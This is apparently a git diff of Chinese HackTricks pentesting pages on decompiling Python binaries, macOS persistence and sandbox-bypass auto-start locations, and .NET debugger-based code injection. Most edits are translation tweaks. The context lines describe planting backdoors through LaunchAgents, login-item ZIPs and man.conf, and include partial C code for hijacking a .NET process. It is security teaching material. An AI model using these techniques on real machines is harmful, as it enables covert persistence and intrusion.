Translated ['forensics/basic-forensic-methodology/specific-software-file
After Width: | Height: | Size: 1.6 KiB |
Before Width: | Height: | Size: 1.6 KiB After Width: | Height: | Size: 16 KiB |
Before Width: | Height: | Size: 16 KiB After Width: | Height: | Size: 132 KiB |
Before Width: | Height: | Size: 132 KiB After Width: | Height: | Size: 20 KiB |
Before Width: | Height: | Size: 20 KiB After Width: | Height: | Size: 8.1 KiB |
Before Width: | Height: | Size: 8.1 KiB After Width: | Height: | Size: 51 KiB |
Before Width: | Height: | Size: 51 KiB After Width: | Height: | Size: 32 KiB |
Before Width: | Height: | Size: 32 KiB After Width: | Height: | Size: 39 KiB |
Before Width: | Height: | Size: 39 KiB After Width: | Height: | Size: 72 KiB |
Before Width: | Height: | Size: 72 KiB After Width: | Height: | Size: 322 KiB |
Before Width: | Height: | Size: 322 KiB After Width: | Height: | Size: 36 KiB |
Before Width: | Height: | Size: 36 KiB After Width: | Height: | Size: 34 KiB |
Before Width: | Height: | Size: 34 KiB After Width: | Height: | Size: 27 KiB |
|
@ -1,26 +1,26 @@
|
|||
# 反编译已编译的Python二进制文件(exe、elf)- 从.pyc文件中恢复
|
||||
# 反编译已编译的Python二进制文件(exe、elf)- 从.pyc中恢复
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 YouTube 🎥</strong></a></summary>
|
||||
|
||||
* 你在一家**网络安全公司**工作吗?想要在HackTricks中**宣传你的公司**吗?或者你想要**获取PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品 - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 你在一家**网络安全公司**工作吗?想要在HackTricks中**宣传你的公司**吗?或者你想要**获取PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
||||
|
||||
</details>
|
||||
|
||||
<img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
如果你对**黑客职业**感兴趣并且想要攻破不可攻破的目标 - **我们正在招聘!**(需要流利的波兰语书写和口语能力)。
|
||||
如果你对**黑客职业**感兴趣并且想要攻破不可攻破的目标- **我们正在招聘!**(需要流利的波兰语书写和口语能力)。
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
## 从编译的二进制文件到.pyc文件
|
||||
## 从编译的二进制文件到.pyc
|
||||
|
||||
从一个**ELF**编译的二进制文件中,你可以通过以下方式**获取.pyc文件**:
|
||||
从一个**ELF**编译的二进制文件中,你可以使用以下方法**获取.pyc**文件:
|
||||
```bash
|
||||
pyi-archive_viewer <binary>
|
||||
# The list of python modules will be given here:
|
||||
|
@ -39,7 +39,7 @@ pyi-archive_viewer <binary>
|
|||
? X binary_name
|
||||
to filename? /tmp/binary.pyc
|
||||
```
|
||||
在一个编译的**Python可执行二进制文件**中,你可以通过运行以下命令来获取`.pyc`文件:
|
||||
在编译的**Python可执行二进制文件**中,可以通过运行以下命令来获取**.pyc文件**:
|
||||
```bash
|
||||
python pyinstxtractor.py executable.exe
|
||||
```
|
||||
|
@ -86,7 +86,7 @@ hexdump 'binary.pyc' | head
|
|||
|
||||
请查看前面的错误文档。
|
||||
|
||||
## 自动化工具
|
||||
## 自动工具
|
||||
|
||||
该工具[https://github.com/countercept/python-exe-unpacker](https://github.com/countercept/python-exe-unpacker)将几个可用于社区的工具(py2exe和pyinstaller)组合在一起,帮助研究人员解包和反编译用Python编写的可执行文件。
|
||||
|
||||
|
@ -211,7 +211,7 @@ C:\Users\test\Desktop\test>pyinstaller --onefile hello.py
|
|||
|
||||
* [https://blog.f-secure.com/how-to-decompile-any-python-binary/](https://blog.f-secure.com/how-to-decompile-any-python-binary/)
|
||||
|
||||
<img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
如果您对**黑客职业**感兴趣并想要攻破不可攻破的东西 - **我们正在招聘!**(需要流利的波兰语书面和口语表达能力)。
|
||||
|
||||
|
|
|
@ -2,7 +2,7 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 YouTube 🎥</strong></a></summary>
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* 你在一家**网络安全公司**工作吗?你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
|
@ -12,12 +12,12 @@
|
|||
|
||||
</details>
|
||||
|
||||
本节内容主要基于博客系列[**超越传统的LaunchAgents**](https://theevilbit.github.io/beyond/),目标是添加更多的**自动启动位置**(如果可能的话),指出哪些技术在最新版本的macOS(13.4)上仍然有效,并指定所需的**权限**。
|
||||
本节内容主要基于博客系列[**Beyond the good ol' LaunchAgents**](https://theevilbit.github.io/beyond/),目标是添加更多的**自动启动位置**(如果可能的话),指出哪些技术在最新版本的macOS(13.4)上仍然有效,并指定所需的**权限**。
|
||||
|
||||
## 沙盒绕过
|
||||
|
||||
{% hint style="success" %}
|
||||
在这里,你可以找到用于**绕过沙盒**的启动位置,通过**将其写入文件**并**等待**一个非常**常见的操作**、一段**时间**或通常可以在沙盒内执行而不需要root权限的**操作**来简单地执行某些操作。
|
||||
在这里,您可以找到用于**绕过沙盒**的启动位置,通过**将其写入文件**并**等待**一个非常**常见的操作**、一段**时间**或通常可以在沙盒内执行的**操作**,而无需需要root权限。
|
||||
{% endhint %}
|
||||
|
||||
### Launchd
|
||||
|
@ -45,7 +45,7 @@
|
|||
|
||||
#### 描述和利用
|
||||
|
||||
**`launchd`**是在启动时由OS X内核执行的**第一个进程**,也是在关机时最后一个完成的进程。它应该始终具有**PID 1**。此进程将**读取和执行**在以下位置指定的**ASEP** **plists**中的配置:
|
||||
**`launchd`**是在启动时由OS X内核执行的**第一个进程**,也是在关机时最后一个完成的进程。它应该始终具有**PID 1**。此进程将**读取和执行**在以下**ASEP** **plists**中指定的配置:
|
||||
|
||||
* `/Library/LaunchAgents`:由管理员安装的每个用户代理
|
||||
* `/Library/LaunchDaemons`:由管理员安装的系统级守护程序
|
||||
|
@ -81,7 +81,7 @@
|
|||
|
||||
{% hint style="info" %}
|
||||
新的守护程序或代理程序配置文件将在下次重启后加载,或使用`launchctl load <target.plist>`命令加载。也可以使用`launchctl -F <file>`加载没有扩展名的.plist文件(但这些plist文件在重启后不会自动加载)。
|
||||
还可以使用`launchctl unload <target.plist>`命令卸载(指向它的进程将被终止)。
|
||||
也可以使用`launchctl unload <target.plist>`命令卸载(指向它的进程将被终止)。
|
||||
|
||||
为了确保没有任何东西(如覆盖)阻止代理程序或守护程序运行,请运行:`sudo launchctl load -w /System/Library/LaunchDaemos/com.apple.smdb.plist`
|
||||
{% endhint %}
|
||||
|
@ -99,9 +99,9 @@ launchctl list
|
|||
|
||||
#### 位置
|
||||
|
||||
* **`~/.zshrc`, `~/.zlogin`, `~/.zshenv`, `~/.zprofile`**
|
||||
* **`~/.zshrc`,`~/.zlogin`,`~/.zshenv`,`~/.zprofile`**
|
||||
* **触发条件**:使用zsh打开终端
|
||||
* **`/etc/zshenv`, `/etc/zprofile`, `/etc/zshrc`, `/etc/zlogin`**
|
||||
* **`/etc/zshenv`,`/etc/zprofile`,`/etc/zshrc`,`/etc/zlogin`**
|
||||
* **触发条件**:使用zsh打开终端
|
||||
* 需要root权限
|
||||
* **`~/.zlogout`**
|
||||
|
@ -112,14 +112,14 @@ launchctl list
|
|||
* 可能还有其他位置:**`man zsh`**
|
||||
* **`~/.bashrc`**
|
||||
* **触发条件**:使用bash打开终端
|
||||
* `/etc/profile`(未生效)
|
||||
* `~/.profile`(未生效)
|
||||
* `~/.xinitrc`, `~/.xserverrc`, `/opt/X11/etc/X11/xinit/xinitrc.d/`
|
||||
* **触发条件**:预期与xterm一起触发,但**未安装**,即使安装后也会出现以下错误:xterm: `DISPLAY is not set`
|
||||
* `/etc/profile`(未成功)
|
||||
* `~/.profile`(未成功)
|
||||
* `~/.xinitrc`,`~/.xserverrc`,`/opt/X11/etc/X11/xinit/xinitrc.d/`
|
||||
* **触发条件**:预计与xterm一起触发,但**未安装**,即使安装后也会出现此错误:xterm:`DISPLAY is not set`
|
||||
|
||||
#### 描述和利用
|
||||
|
||||
当我们的shell环境(如`zsh`或`bash`)**启动**时,会执行shell启动文件。现在,macOS默认使用`/bin/zsh`,每当我们打开`Terminal`或通过SSH连接到设备时,我们都会进入这个shell环境。`bash`和`sh`仍然可用,但必须明确启动。
|
||||
当我们的shell环境(如`zsh`或`bash`)**启动时**,会执行shell启动文件。现在,macOS默认使用`/bin/zsh`,每当我们打开`Terminal`或通过SSH连接到设备时,我们都会进入这个shell环境。`bash`和`sh`仍然可用,但必须明确启动。
|
||||
|
||||
我们可以使用**`man zsh`**阅读zsh的man页面,其中有关于启动文件的详细描述。
|
||||
```bash
|
||||
|
@ -285,7 +285,7 @@ Writeup: [https://posts.specterops.io/audio-unit-plug-ins-896d3434a882](https://
|
|||
|
||||
Writeup: [https://theevilbit.github.io/beyond/beyond\_0028/](https://theevilbit.github.io/beyond/beyond\_0028/)
|
||||
|
||||
* 用于绕过沙盒的有用工具:[✅](https://emojipedia.org/check-mark-button)
|
||||
* 用于绕过沙箱的有用工具:[✅](https://emojipedia.org/check-mark-button)
|
||||
|
||||
#### 位置
|
||||
|
||||
|
@ -297,9 +297,9 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0028/](https://theevilbit.
|
|||
|
||||
#### 描述和利用
|
||||
|
||||
当你**触发文件的预览**(在 Finder 中选择文件后按下空格键)并且安装了支持该文件类型的**插件**时,可以执行 QuickLook 插件。
|
||||
当你**触发文件的预览**(在 Finder 中选择文件后按下空格键)并且安装了**支持该文件类型的插件**时,可以执行 QuickLook 插件。
|
||||
|
||||
可以编译自己的 QuickLook 插件,将其放置在上述位置之一以加载它,然后转到支持的文件并按下空格键以触发它。
|
||||
可以编译自己的 QuickLook 插件,将其放置在上述位置之一以加载它,然后转到支持的文件并按下空格键来触发它。
|
||||
|
||||
### ~~登录/注销钩子~~
|
||||
|
||||
|
@ -309,7 +309,7 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0028/](https://theevilbit.
|
|||
|
||||
**Writeup**: [https://theevilbit.github.io/beyond/beyond\_0022/](https://theevilbit.github.io/beyond/beyond\_0022/)
|
||||
|
||||
用于绕过沙盒的有用工具:[✅](https://emojipedia.org/check-mark-button)
|
||||
用于绕过沙箱的有用工具:[✅](https://emojipedia.org/check-mark-button)
|
||||
|
||||
#### 位置
|
||||
|
||||
|
@ -343,31 +343,31 @@ oneTimeSSMigrationComplete = 1;
|
|||
defaults delete com.apple.loginwindow LoginHook
|
||||
defaults delete com.apple.loginwindow LogoutHook
|
||||
```
|
||||
root用户的启动位置存储在**`/private/var/root/Library/Preferences/com.apple.loginwindow.plist`**
|
||||
root用户的启动位置存储在**`/private/var/root/Library/Preferences/com.apple.loginwindow.plist`**中。
|
||||
|
||||
## 条件沙盒绕过
|
||||
|
||||
{% hint style="success" %}
|
||||
在这里,您可以找到用于**绕过沙盒**的启动位置,它允许您通过**将其写入文件**并**期望不常见的条件**,如特定的**已安装程序、"不常见"的用户**操作或环境来执行某些操作。
|
||||
在这里,您可以找到用于**绕过沙盒**的启动位置,它允许您通过**将其写入文件**并**期望不常见的条件**,如特定的**已安装程序、"不常见"用户**操作或环境来执行某些操作。
|
||||
{% endhint %}
|
||||
|
||||
### Cron
|
||||
|
||||
**Writeup**: [https://theevilbit.github.io/beyond/beyond\_0004/](https://theevilbit.github.io/beyond/beyond\_0004/)
|
||||
|
||||
* 用于绕过沙盒的有用性: [✅](https://emojipedia.org/check-mark-button)
|
||||
* 用于绕过沙盒的有用性:[✅](https://emojipedia.org/check-mark-button)
|
||||
* 但是,您需要能够执行`crontab`二进制文件
|
||||
* 或者是root用户
|
||||
|
||||
#### 位置
|
||||
|
||||
* **`/usr/lib/cron/tabs/`, `/private/var/at/tabs`, `/private/var/at/jobs`, `/etc/periodic/`**
|
||||
* **`/usr/lib/cron/tabs/`、`/private/var/at/tabs`、`/private/var/at/jobs`、`/etc/periodic/`**
|
||||
* 直接写入访问需要root权限。如果您可以执行`crontab <file>`,则不需要root权限
|
||||
* **触发器**: 取决于cron作业
|
||||
* **触发器**:取决于cron作业
|
||||
|
||||
#### 描述和利用
|
||||
|
||||
使用以下命令列出**当前用户**的cron作业:
|
||||
使用以下命令列出**当前用户**的cron作业:
|
||||
```bash
|
||||
crontab -l
|
||||
```
|
||||
|
@ -378,7 +378,7 @@ crontab -l
|
|||
# The one with the cron jobs is /usr/lib/cron/tabs/
|
||||
ls -lR /usr/lib/cron/tabs/ /private/var/at/jobs /etc/periodic/
|
||||
```
|
||||
在这里,您可以找到常规的cron作业、at作业(不常用)和周期性作业(主要用于清理临时文件)。例如,可以使用`periodic daily`来执行每日周期性作业。
|
||||
在这里,您可以找到常规的cron作业、at作业(不常用)和周期性作业(主要用于清理临时文件)。例如,可以使用以下命令执行每日周期性作业:`periodic daily`。
|
||||
|
||||
要以编程方式添加用户cron作业,可以使用:
|
||||
```bash
|
||||
|
@ -447,15 +447,15 @@ open /Applications/iTerm.app/Contents/MacOS/iTerm2
|
|||
{% endcode %}
|
||||
|
||||
{% hint style="warning" %}
|
||||
很有可能有其他方法可以滥用iTerm2的偏好设置来执行任意命令。
|
||||
很有可能有**其他方法滥用iTerm2首选项**来执行任意命令。
|
||||
{% endhint %}
|
||||
|
||||
### xbar
|
||||
|
||||
Writeup: [https://theevilbit.github.io/beyond/beyond\_0007/](https://theevilbit.github.io/beyond/beyond\_0007/)
|
||||
|
||||
* 有用于绕过沙盒的功能:[✅](https://emojipedia.org/check-mark-button)
|
||||
* 但需要安装xbar
|
||||
* 用于绕过沙盒的有用工具:[✅](https://emojipedia.org/check-mark-button)
|
||||
* 但必须安装xbar
|
||||
|
||||
#### 位置
|
||||
|
||||
|
@ -466,9 +466,7 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0007/](https://theevilbit.
|
|||
|
||||
**Writeup**: [https://theevilbit.github.io/beyond/beyond\_0008/](https://theevilbit.github.io/beyond/beyond\_0008/)
|
||||
|
||||
有用于绕过沙盒的功能:[✅](https://emojipedia.org/check-mark-button)
|
||||
|
||||
* 但需要安装Hammerspoon
|
||||
用于绕过沙盒的有用工具:[✅](https://emojipedia.org/check-mark-button)
|
||||
|
||||
#### 位置
|
||||
|
||||
|
@ -477,7 +475,7 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0007/](https://theevilbit.
|
|||
|
||||
#### 描述
|
||||
|
||||
[**Hammerspoon**](https://github.com/Hammerspoon/hammerspoon) 是一款自动化工具,允许通过LUA脚本语言进行macOS脚本编写。我们甚至可以嵌入完整的AppleScript代码以及运行shell脚本。
|
||||
[**Hammerspoon**](https://github.com/Hammerspoon/hammerspoon)是一款自动化工具,允许通过LUA脚本语言进行**macOS脚本编写**。我们甚至可以嵌入完整的AppleScript代码以及运行shell脚本。
|
||||
|
||||
该应用程序寻找一个名为`~/.hammerspoon/init.lua`的单个文件,并在启动时执行该脚本。
|
||||
```bash
|
||||
|
@ -546,13 +544,13 @@ osascript -e 'tell application "System Events" to delete login item "itemname"'
|
|||
```
|
||||
这些项目存储在文件**`~/Library/Application Support/com.apple.backgroundtaskmanagementagent`**中。
|
||||
|
||||
**登录项**也可以使用API [SMLoginItemSetEnabled](https://developer.apple.com/documentation/servicemanagement/1501557-smloginitemsetenabled?language=objc)来指示,在**`/var/db/com.apple.xpc.launchd/loginitems.501.plist`**中存储配置。
|
||||
**登录项**也可以使用API [SMLoginItemSetEnabled](https://developer.apple.com/documentation/servicemanagement/1501557-smloginitemsetenabled?language=objc)来指示,该API将配置存储在**`/var/db/com.apple.xpc.launchd/loginitems.501.plist`**中。
|
||||
|
||||
### 将ZIP文件作为登录项
|
||||
|
||||
(查看有关登录项的上一节,这是一个扩展)
|
||||
(请参阅有关登录项的上一节,这是一个扩展)
|
||||
|
||||
如果将**ZIP**文件存储为**登录项**,则**`Archive Utility`**将打开它,如果ZIP文件例如存储在**`~/Library`**中,并且包含文件夹**`LaunchAgents/file.plist`**,其中包含一个后门,该文件夹将被创建(默认情况下不会创建),并且plist将被添加,因此下次用户再次登录时,将执行plist中指定的**后门**。
|
||||
如果将**ZIP**文件存储为**登录项**,则**`Archive Utility`**将打开它,如果ZIP文件例如存储在**`~/Library`**中,并且包含具有后门的文件夹**`LaunchAgents/file.plist`**,那么该文件夹将被创建(默认情况下不存在),并且plist将被添加,因此下次用户再次登录时,将执行plist中指定的**后门**。
|
||||
|
||||
另一个选项是在用户主目录中创建文件**`.bash_profile`**和**`.zshenv`**,因此如果LaunchAgents文件夹已经存在,此技术仍将起作用。
|
||||
|
||||
|
@ -718,17 +716,17 @@ app.doShellScript("cp -R ~/Desktop /tmp/asd123");
|
|||
mkdir -p "$HOME/Library/Scripts/Folder Action Scripts"
|
||||
mv /tmp/folder.scpt "$HOME/Library/Scripts/Folder Action Scripts"
|
||||
```
|
||||
然后,打开`Folder Actions Setup`应用程序,选择**要监视的文件夹**,并在您的情况下选择**`folder.scpt`**(在我的情况下,我称其为output2.scp):
|
||||
然后,打开`Folder Actions Setup`应用程序,选择**您想要监视的文件夹**,并在您的情况下选择**`folder.scpt`**(在我的情况下,我称其为output2.scp):
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (2) (1).png" alt="" width="297"><figcaption></figcaption></figure>
|
||||
|
||||
现在,如果您使用**Finder**打开该文件夹,您的脚本将被执行。
|
||||
|
||||
此配置存储在以base64格式存储的**plist**中,位于**`~/Library/Preferences/com.apple.FolderActionsDispatcher.plist`**中。
|
||||
此配置存储在以base64格式存储的**plist**中,位于**`~/Library/Preferences/com.apple.FolderActionsDispatcher.plist`**。
|
||||
|
||||
现在,让我们尝试在没有GUI访问权限的情况下准备此持久性:
|
||||
|
||||
1. **将`~/Library/Preferences/com.apple.FolderActionsDispatcher.plist`**复制到`/tmp`进行备份:
|
||||
1. **将`~/Library/Preferences/com.apple.FolderActionsDispatcher.plist`**复制到`/tmp`以备份:
|
||||
* `cp ~/Library/Preferences/com.apple.FolderActionsDispatcher.plist /tmp`
|
||||
2. **删除**您刚刚设置的文件夹操作:
|
||||
|
||||
|
@ -740,7 +738,7 @@ mv /tmp/folder.scpt "$HOME/Library/Scripts/Folder Action Scripts"
|
|||
4. 打开Folder Actions Setup.app以使用此配置:`open "/System/Library/CoreServices/Applications/Folder Actions Setup.app/"`
|
||||
|
||||
{% hint style="danger" %}
|
||||
对我来说,这没有起作用,但这是写作的说明:(
|
||||
对我来说,这没有起作用,但这是写作中的说明:(
|
||||
{% endhint %}
|
||||
|
||||
### Spotlight Importers
|
||||
|
@ -773,7 +771,7 @@ mv /tmp/folder.scpt "$HOME/Library/Scripts/Folder Action Scripts"
|
|||
|
||||
#### 描述和利用
|
||||
|
||||
出现在Dock中的所有应用程序都在plist文件中指定:**`~/Library/Preferences/com.apple.dock.plist`**
|
||||
在Dock中显示的所有应用程序都在plist文件中指定:**`~/Library/Preferences/com.apple.dock.plist`**
|
||||
|
||||
只需使用以下命令即可**添加一个应用程序**:
|
||||
|
||||
|
@ -900,27 +898,27 @@ pluginkit -e use -i com.example.InSync.InSync
|
|||
Writeup: [https://theevilbit.github.io/beyond/beyond\_0016/](https://theevilbit.github.io/beyond/beyond\_0016/)\
|
||||
Writeup: [https://posts.specterops.io/saving-your-access-d562bf5bf90b](https://posts.specterops.io/saving-your-access-d562bf5bf90b)
|
||||
|
||||
* 用于绕过沙箱的有用工具:[🟠](https://emojipedia.org/large-orange-circle)
|
||||
* 用于绕过沙箱的有用工具: [🟠](https://emojipedia.org/large-orange-circle)
|
||||
* 但你最终会进入一个常见的应用程序沙箱
|
||||
|
||||
#### 位置
|
||||
|
||||
* `/System/Library/Screen Savers` 
|
||||
* 需要 root 权限
|
||||
* **触发器**:选择屏幕保护程序
|
||||
* **触发器**: 选择屏幕保护程序
|
||||
* `/Library/Screen Savers`
|
||||
* 需要 root 权限
|
||||
* **触发器**:选择屏幕保护程序
|
||||
* **触发器**: 选择屏幕保护程序
|
||||
* `~/Library/Screen Savers`
|
||||
* **触发器**:选择屏幕保护程序
|
||||
* **触发器**: 选择屏幕保护程序
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1).png" alt="" width="375"><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1).png" alt="" width="375"><figcaption></figcaption></figure>
|
||||
|
||||
#### 描述和利用
|
||||
|
||||
在 Xcode 中创建一个新项目,并选择模板生成一个新的**屏幕保护程序**。然后,将代码添加到其中,例如以下代码以生成日志。
|
||||
|
||||
**构建**它,并将 `.saver` 捆绑包复制到**`~/Library/Screen Savers`**。然后,打开屏幕保护程序 GUI,只需点击它,它就会生成大量日志:
|
||||
**构建**它,并将 `.saver` 捆绑包复制到**`~/Library/Screen Savers`**。然后,打开屏幕保护程序 GUI,只需点击它,它就会生成大量日志:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -1030,9 +1028,9 @@ Spotlight是macOS内置的搜索功能,旨在为用户提供快速和全面访
|
|||
|
||||
Spotlight的底层机制涉及一个名为'mds'的中央进程,它代表**'元数据服务器'**。该进程协调整个Spotlight服务。此外,还有多个'mdworker'守护进程执行各种维护任务,例如索引不同类型的文件(`ps -ef | grep mdworker`)。这些任务通过Spotlight导入器插件或**".mdimporter bundles"**实现,这些插件使Spotlight能够理解和索引各种文件格式的内容。
|
||||
|
||||
这些插件或**`.mdimporter`** bundles位于前面提到的位置,如果出现新的bundle,它会在一分钟内加载(无需重新启动任何服务)。这些bundles需要指示它们可以管理哪些文件类型和扩展名,这样,当创建一个具有指定扩展名的新文件时,Spotlight将使用它们。
|
||||
这些插件或**`.mdimporter`** bundles位于前面提到的位置,如果出现新的bundle,它会在几分钟内加载(无需重新启动任何服务)。这些bundles需要指示它们可以管理哪种文件类型和扩展名,这样,当创建一个具有指定扩展名的新文件时,Spotlight将使用它们。
|
||||
|
||||
可以通过运行以下命令来找到所有加载的`mdimporters`:
|
||||
可以通过运行以下命令来**查找所有加载的`mdimporters`**:
|
||||
```bash
|
||||
mdimport -L
|
||||
Paths: id(501) (
|
||||
|
@ -1226,7 +1224,7 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0030/](https://theevilbit.
|
|||
|
||||
#### 描述和利用
|
||||
|
||||
配置文件**`/private/etc/man.conf`**指示打开man文档文件时要使用的二进制文件/脚本。因此,可以修改可执行文件的路径,以便每当用户使用man命令阅读文档时,一个后门就会被执行。
|
||||
配置文件**`/private/etc/man.conf`**指示打开man文档文件时要使用的二进制文件/脚本。因此,可以修改可执行文件的路径,以便用户每次使用man命令阅读文档时都会执行一个后门。
|
||||
|
||||
例如,在**`/private/etc/man.conf`**中设置:
|
||||
```
|
||||
|
@ -1435,10 +1433,10 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0015/](https://theevilbit.
|
|||
### ~~/etc/rc.common~~
|
||||
|
||||
{% hint style="danger" %}
|
||||
**在现代 MacOS 版本中不起作用**
|
||||
**在现代 MacOS 版本中,此方法不起作用**
|
||||
{% endhint %}
|
||||
|
||||
还可以在此处放置**在启动时执行的命令**。例如常规的 rc.common 脚本示例:
|
||||
还可以在此处放置**在启动时执行的命令**。以下是常规 rc.common 脚本的示例:
|
||||
```bash
|
||||
#
|
||||
# Common setup for startup scripts.
|
||||
|
|
|
@ -21,7 +21,7 @@
|
|||
|
||||
因此,如果你进入用户的**`$TMPDIR`**目录,你将能够找到用于调试.Net应用程序的**调试FIFO**:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
函数[**DbgTransportSession::TransportWorker**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L1259)将处理来自调试器的通信。
|
||||
|
||||
|
@ -66,7 +66,7 @@ sSendHeader.m_cbDataBlock = sizeof(SessionRequestData);
|
|||
```c
|
||||
write(wr, &sSendHeader, sizeof(MessageHeader));
|
||||
```
|
||||
在发送请求头之后,我们需要发送一个`sessionRequestData`结构体,其中包含一个GUID来标识我们的会话:
|
||||
以下是我们需要发送的`sessionRequestData`结构体,其中包含一个用于标识我们会话的GUID:
|
||||
```c
|
||||
// All '9' is a GUID.. right??
|
||||
memset(&sDataBlock.m_sSessionID, 9, sizeof(SessionRequestData));
|
||||
|
@ -169,15 +169,15 @@ return true;
|
|||
vmmap -pages [pid]
|
||||
vmmap -pages 35829 | grep "rwx/rwx"
|
||||
```
|
||||
然后,为了触发执行,需要知道存储函数指针的位置以覆盖它。可以在**动态函数表(DFT)**中覆盖指针,该表由.NET Core运行时用于提供JIT编译的辅助函数。支持的函数指针列表可以在[`jithelpers.h`](https://github.com/dotnet/runtime/blob/6072e4d3a7a2a1493f514cdf4be75a3d56580e84/src/coreclr/src/inc/jithelpers.h)中找到。
|
||||
然后,为了触发执行,需要知道存储函数指针的位置以进行覆写。可以在**动态函数表(DFT)**中覆写指针,该表由.NET Core运行时用于提供JIT编译的辅助函数。支持的函数指针列表可以在[`jithelpers.h`](https://github.com/dotnet/runtime/blob/6072e4d3a7a2a1493f514cdf4be75a3d56580e84/src/coreclr/src/inc/jithelpers.h)中找到。
|
||||
|
||||
在x64版本中,可以使用类似mimikatz的**签名搜索**技术直接在**`libcorclr.dll`**中搜索对符号**`_hlpDynamicFuncTable`**的引用,然后我们可以对其进行解引用:
|
||||
在x64版本中,可以使用类似mimikatz的**签名搜索**技术直接在**`libcorclr.dll`**中搜索对符号**`_hlpDynamicFuncTable`**的引用,并进行解引用:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
现在只需要找到一个地址来开始我们的签名搜索。为此,我们利用另一个暴露的调试器函数**`MT_GetDCB`**。它返回目标进程的一些有用信息,但对于我们的情况,我们对返回的字段感兴趣,其中包含一个辅助函数的地址**`m_helperRemoteStartAddr`**。使用这个地址,我们知道**`libcorclr.dll`在目标进程内存中的位置**,可以开始搜索DFT。
|
||||
